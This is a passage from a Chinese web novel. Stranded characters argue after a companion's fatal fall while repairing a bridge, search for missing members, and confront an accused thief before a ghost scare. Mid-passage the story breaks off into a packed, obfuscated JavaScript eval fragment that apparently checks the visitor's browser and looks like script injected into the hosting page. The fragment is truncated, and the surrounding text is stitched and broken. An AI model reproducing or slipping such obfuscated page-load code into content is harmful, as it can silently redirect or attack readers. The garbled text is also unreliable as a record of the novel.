苏却缓缓站起身，看向高千凡，道：“具体怎么回事？从头说。” 高千凡被她的目光刺得一缩，解释道：“我方才一直待在岸边，瞧我衣衫便知……不是我不想下水，是我真的不会水性，下去也是添乱……可齐广济他……他没听我解释就把搬石头的活儿指派给我，我就说了两句，他就跟我吵起来了，说我不干活还诸多借口……” 江文新猛地抬头，红着眼睛反驳：“你胡说，齐大哥才不是那样的人。他明明很会照顾人，之前还关心我搬不搬得动，叫我小心站稳。肯定是你自己话太多，一直抱怨个不停，齐大哥才不耐烦的。” 高千凡立刻涨红了脸：“我怎么话多了？我说的难道不是事实？这鬼地方，这鬼差事，还不让人说了？他凭什么颐指气使？他还叫汪乐安他们也不要理会我，摆明了排挤我。” 江文新激动道：“你恶意揣测，以小人之心度君子之腹，齐大哥才不会那样！” “我怎么恶意揣测了？齐广济就是挑拨离间，本来汪乐安去帮他的忙，两人干活好好的，可没多久汪乐安就气呼呼地回来离开了这里。他刚走没一会儿，罗潇苇和杜以柔说是结伴去解手，到现在也没见回来。然后……然后我就亲眼看到他从石台上，脚下一滑，仰面摔了下去。我一直在喊，拼命喊你们，可是你们谁也没听见。现在你们还要怪我？这件事能怪我吗？”高千凡的声音带着委屈和愤怒。 “够了！”苏却一声低喝，打断了两人你来我往的言语，“先别吵了。现在人已经死了，不是追究谁对谁错的时候。但另外三个人，他们离开多久了？” 争吵戛然而止。 高千凡和江文新都愣了一下。 高千凡迟疑道：“汪乐安最先离开，齐广济摔下去前好一阵就走了，大概……罗潇苇和杜以柔……是之后才说要一起去的，也……也有好一会儿了……” 江文新脸色更白：“他们……怎么还不回来？” 苏却声音冰冷，道：“如果他们也有意外，你们觉得，单凭我们三个，能修完这座桥吗？” 一句话，如冰水浇头。 是啊，七人已去其一，若再失散三人，生存希望何其渺茫。 “找。”苏却言简意赅，分配任务，“江文新，你沿着我们来时的路往回找，一路走一路喊他们的名字。别走太远，若找不到，立刻原路返回。高千凡，”她指向大山方向，“你，朝这个方向直着向前找，同样，找不到就立刻折返，不要逗留，不要深入。我往上游去。记住，无论找没找到，必须回到这里汇合。若遇危险，大声呼救。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江文新一眼认出，又惊又怒，指着汪乐安，手指发抖：“我还以为这个东西带不过来，你……你果然！齐大哥肯定是因为发现你偷东西，才说你手脚不干净的。我就知道，齐大哥肯定不会无缘无故指责人，他明明很可靠。” 汪乐安依然梗着脖子，不以为意地嗤道：“那又如何？不过是借来玩玩而已，又不是不还。值得这么大惊小怪？” “借？”高千凡在一旁发出不屑的冷哼，“不问自取即为偷，三岁孩童都懂的道理，你还挺有理？你可知你离开后不久，齐广济就从石台上摔下来，若是你当时在场，或许还能搭把手，或许……他就不会死。现在好了，桥要怎么修？” 汪乐安争辩道：“欸欸欸，饭可以乱吃，话可不能乱说。他摔下来是他自己不小心，脚滑也好，头晕也罢，关我屁事。我不过是走开一下，没推他没砸他，他死了，这笔账算到我头上有些过分了吧？谁知道是不是他自己遭了报应，哝，就像我之前说的那样，这里有冤死鬼，要把他拉走呢！哈哈哈哈哈……” “你！”江文新气得浑身发抖，上前就要理论。 此时上游方向，突然传来一声凄厉的尖叫。 “啊——！！！” 是罗潇苇的声音。 众人循声望去，只见罗潇苇正失魂落魄地从上游河滩旁的树林小径里狂奔出来，头发散乱，衣裙被刮破了好几处。 杜以柔则远远跟在她后面。 罗潇苇一眼看到河滩上的苏却等人，像是看到了救命稻草。 她上气不接下气地喊道：“鬼……有鬼！闹鬼了！这里……这里闹鬼了！”